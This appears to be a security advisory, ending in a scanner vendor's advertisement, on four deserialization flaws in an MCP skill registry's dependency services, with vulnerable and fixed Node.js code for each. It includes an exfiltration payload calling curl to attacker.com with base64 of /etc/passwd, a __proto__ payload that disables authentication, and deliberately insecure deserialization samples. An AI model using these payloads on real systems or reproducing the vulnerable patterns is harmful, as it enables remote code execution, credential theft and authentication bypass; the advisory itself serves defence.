Claude MCP skill insecure deserialization — skill dependency resolution and graph computation endpoints — SA-SKL-DESER38
SA-SKL-DESER38 documents four insecure deserialization vulnerabilities in MCP skill registry dependency resolution and graph computation endpoints. Dependency resolution is a trusted internal operation — configurations stored in Redis and MongoDB are assumed to be safe, so they receive no input validation before deserialization. This trust is misplaced. YAML graph configuration deserialized with yaml.load() and the default full schema allows !!js/function gadgets that execute arbitrary code at every dependency resolution event. BSON-encoded version constraint documents with a Code type field trigger eval() during the constraint evaluation phase of every install. MessagePack-encoded event queue entries can carry prototype-polluting payloads that disable authentication checks process-wide. And dependency graph aggregation results deserialized via node-serialize accept IIFE gadgets that execute at aggregation time, reachable from any authenticated API consumer.
yaml.load(graphConfig, { schema: yaml.DEFAULT_FULL_SCHEMA }) reads from Redis; !!js/function in graphConfig.onDependencyResolve achieves RCE at every dependency resolution event; fix: FAILSAFE_SCHEMA; JSON for all graph config; Zod GraphConfigSchema; named-event dispatch tableBSON Code type at constraintEvaluatorFn triggers eval() during constraint evaluation at install time; fix: reject BSON Code; promoteValues:false; Zod string-only schema; named-evaluator lookup__proto__.skipDepAuth:true pollutes Object.prototype, disabling authentication checks for all subsequent dependency API requests in the process; fix: null-prototype deserialization target; Zod strict(); JSON instead of MessagePacknode-serialize deserializes dependency graph aggregation results; IIFE gadget achieves RCE at graph aggregation time reachable from any authenticated consumer; fix: JSON.parse + Zod; detect and reject _$$ND_FUNC$$_ payloads; sealed config at deploy timeDESER38-001 — YAML full-schema deserialization of Redis graph config enables !!js/function RCE
Severity: CRITICAL
The dependency resolution service reads its graph configuration document from Redis using yaml.load(graphConfig, { schema: yaml.DEFAULT_FULL_SCHEMA }). The DEFAULT_FULL_SCHEMA activates the !!js/function, !!js/regexp, and !!js/undefined YAML tag handlers, which reconstruct live JavaScript objects — including callable functions — from YAML strings. An attacker who can write to the Redis key (via a Redis injection, a compromised dependent service, or an SSRF that reaches the Redis management interface) can store a graph config with onDependencyResolve: !!js/function "function(){ require('child_process').exec('curl attacker.com/$(cat /etc/passwd | base64)') }" and trigger that code on every dependency resolution event thereafter.
The trigger surface is high-frequency: dependency resolution runs for every skill install, skill update, and CI audit run on the platform. Code placed in onDependencyResolve executes in the resolution worker's Node.js context with the worker's filesystem and network permissions. Because the graph config is shared state rather than per-request data, a single Redis write compromises all future resolution events until the config is rotated — typically not until the next deployment cycle.
// Dependency resolution service — graph config from Redis via yaml.load
const graphConfigYaml = await redisClient.get('dep:graphConfig');
const graphConfig = yaml.load(graphConfigYaml, {
schema: yaml.DEFAULT_FULL_SCHEMA, // allows !!js/function
});
// graphConfig.onDependencyResolve is now a live function if attacker wrote one
await resolveDependencies(skill, graphConfig);
// Dependency resolution service — graph config from Redis via JSON + Zod
const GraphConfigSchema = z.object({
onDependencyResolveEvent: z.enum(['log', 'notify', 'audit', 'none']),
maxDepth: z.number().int().min(1).max(10),
cachePolicy: z.enum(['none', 'short', 'long']),
auditOnResolve: z.boolean(),
}).strict();
const raw = await redisClient.get('dep:graphConfig');
const graphConfig = GraphConfigSchema.parse(JSON.parse(raw));
// Named dispatch — no dynamic function execution
const resolveEventHandlers = { log: logResolveEvent, notify: notifyResolveEvent, audit: auditResolveEvent, none: () => {} };
const handler = resolveEventHandlers[graphConfig.onDependencyResolveEvent];
await resolveDependencies(skill, { ...graphConfig, handler });
DESER38-002 — BSON Code type at version constraint field triggers eval() at install time
Severity: CRITICAL
The dependency version constraint documents stored in MongoDB are retrieved with the default MongoDB Node.js driver settings, which promote the BSON Code type to a JavaScript function via eval() when the driver encounters a constraintEvaluatorFn field of type Code. The constraint evaluation phase runs at skill install time, calling the evaluator function to check whether the resolved dependency version satisfies the declared constraint range.
An attacker who can write to MongoDB — via NoSQL injection in a dependency document creation endpoint, a compromised skill author account, or a MongoDB management interface exposed to the registry network — can store a constraint document with a Code-typed evaluator containing arbitrary shell commands. The payload executes in the registry worker's Node.js process with the worker's cloud IAM role, potentially granting access to the registry's S3 artifact store, its secrets manager, and its internal service mesh. The exploit is triggered reliably whenever any user installs a skill that depends on the poisoned constraint document.
BSON Code deserialization is eval() by design. The MongoDB BSON specification defines the Code type as executable JavaScript. Using promoteValues: false (deprecated) or the modern promoteBuffers: false alone is insufficient — you must also explicitly detect and reject any BSON Code or CodeWithScope types in the deserialized document before passing the result to application code. Never store function-typed fields in MongoDB documents intended for server-side evaluation.
// Version constraint evaluation — MongoDB default driver promotes BSON Code to eval'd fn
const constraint = await db.collection('constraints').findOne({ _id: constraintId });
// constraint.constraintEvaluatorFn may be a live function if stored as BSON Code
const satisfies = constraint.constraintEvaluatorFn(resolvedVersion);
// Version constraint evaluation — reject BSON Code; named evaluator lookup
const VersionConstraintSchema = z.object({
_id: z.string(),
pattern: z.string().regex(/^[~^>=<\d.\s*]+$/), // semver constraint only
evaluatorType: z.enum(['semver', 'exact', 'range', 'prerelease']),
}).strict();
const raw = await db.collection('constraints').findOne(
{ _id: constraintId },
{ promoteValues: false } // prevent BSON Code promotion
);
// Reject any document containing BSON Code type
if (hasBsonCode(raw)) throw new Error('Constraint document contains executable BSON Code — rejected');
const constraint = VersionConstraintSchema.parse(raw);
// Named evaluator dispatch — no eval()
const constraintEvaluators = {
semver: semverSatisfies,
exact: exactMatch,
range: rangeMatch,
prerelease: prereleaseMatch,
};
const satisfies = constraintEvaluators[constraint.evaluatorType](resolvedVersion, constraint.pattern);
DESER38-003 — MessagePack prototype pollution in event queue disables auth process-wide
Severity: CRITICAL
The dependency resolution event queue is stored in Redis as MessagePack-encoded messages and consumed by the resolution worker on dequeue. The MessagePack decoder writes directly to a plain JavaScript object as the deserialization target. A queue entry containing the key sequence __proto__ → skipDepAuth → true (which MessagePack encodes as {"__proto__": {"skipDepAuth": true}}) pollutes Object.prototype, setting skipDepAuth to true on every subsequent object created in the process via {} literal or Object.create(null)-descended objects whose prototype chain passes through Object.prototype.
The authentication middleware for dependency API endpoints reads if (req.context.skipDepAuth) { return next(); } without an Object.prototype.hasOwnProperty guard. After the pollution, req.context.skipDepAuth resolves to true for every request object for the lifetime of the process — effectively disabling authentication on all subsequent dependency API calls without requiring any per-request token or session manipulation.
// Dependency event queue consumer — MessagePack with no prototype protection
const msgpackPayload = await redisClient.lpop('dep:eventQueue');
const event = msgpack.decode(msgpackPayload); // writes to plain {}
// If event.__proto__.skipDepAuth exists, Object.prototype is now polluted
await processDependencyEvent(event);
// Dependency event queue consumer — JSON with null-prototype target + Zod strict
const DepEventSchema = z.object({
eventId: z.string().uuid(),
skillId: z.string(),
eventType: z.enum(['install', 'update', 'remove', 'audit']),
requestedVersion: z.string().regex(/^[\d.\-+a-zA-Z*^~>=<\s]+$/),
requestedAt: z.string().datetime(),
}).strict(); // rejects any extra keys including __proto__
const raw = await redisClient.lpop('dep:eventQueue');
// Use JSON (not MessagePack); parse into null-prototype object to block __proto__ pollution
const parsed = JSON.parse(raw, (key, value) => {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') return undefined;
return value;
});
const event = DepEventSchema.parse(Object.assign(Object.create(null), parsed));
await processDependencyEvent(event);
DESER38-004 — node-serialize IIFE gadget in graph aggregation achieves RCE
Severity: CRITICAL
The dependency graph aggregation service uses node-serialize to store and restore computed graph aggregations. node-serialize implements a custom serialization format that wraps JavaScript function values in a _$$ND_FUNC$$_ marker; when deserializing, it reconstructs functions by passing the string through eval(). An IIFE (immediately invoked function expression) in the serialized payload executes at deserialization time without any explicit call, requiring no code path to invoke the resulting function value.
The aggregation data flows from an authenticated API endpoint (POST /api/deps/graph/aggregate) through a Redis cache back to the aggregation service. Any authenticated user who can submit a graph aggregation request can write a crafted payload to the cache path. The payload executes in the aggregation service worker's context with the worker's cloud credentials. Because graph aggregations are cached for reuse, the malicious payload persists in the cache and re-executes for every consumer of that aggregation until the cache entry expires — potentially affecting dozens of concurrent dependency resolution operations.
// Graph aggregation — node-serialize with no input validation
const serialize = require('node-serialize');
const cachedAgg = await redisClient.get(`dep:agg:${graphId}`);
if (cachedAgg) {
const agg = serialize.unserialize(cachedAgg); // eval()s any _$$ND_FUNC$$_ in payload
return agg;
}
// Graph aggregation — JSON + Zod; reject _$$ND_FUNC$$_ payloads
const GraphAggSchema = z.object({
graphId: z.string().uuid(),
nodeCount: z.number().int().min(0),
edgeCount: z.number().int().min(0),
criticalPath: z.array(z.string()).max(100),
computedAt: z.string().datetime(),
}).strict();
const cachedAgg = await redisClient.get(`dep:agg:${graphId}`);
if (cachedAgg) {
// Detect and reject node-serialize gadget payloads before parsing
if (cachedAgg.includes('_$$ND_FUNC$$_')) {
await redisClient.del(`dep:agg:${graphId}`); // evict poisoned cache entry
throw new Error('Serialized function gadget detected in graph aggregation cache — entry evicted');
}
const agg = GraphAggSchema.parse(JSON.parse(cachedAgg));
return agg;
}
Remediation summary
| Finding | Severity | Primary remediation | Secondary hardening |
|---|---|---|---|
| DESER38-001 | Critical | Replace DEFAULT_FULL_SCHEMA with FAILSAFE_SCHEMA; migrate graph config to JSON + Zod GraphConfigSchema | Named event dispatch table; seal graph config at deploy time; alert on Redis key mutation events |
| DESER38-002 | Critical | Detect and reject BSON Code type in all constraint documents; Zod string-only schema for constraint fields | Use promoteValues: false; migrate evaluator logic to named-evaluator server-side lookup; audit all MongoDB collections for Code-typed fields |
| DESER38-003 | Critical | Migrate queue from MessagePack to JSON; null-prototype deserialization target; Zod strict() schema rejecting __proto__ keys | Freeze Object.prototype in worker process; add startup check for prototype pollution indicators |
| DESER38-004 | Critical | Remove node-serialize; migrate to JSON.parse + Zod; detect and reject _$$ND_FUNC$$_ marker before parsing | Evict poisoned cache entries on detection; seal aggregation data with HMAC; audit all node-serialize usages across codebase |
Find deserialization vulnerabilities like these before attackers do. SkillAudit scans your MCP skill registry dependency resolution services for all four SA-SKL-DESER38 patterns plus the broader deserialization advisory series. See the SA-SKL-CORS53 search and discovery CORS advisory for related findings. Connect your repository at skillaudit.dev.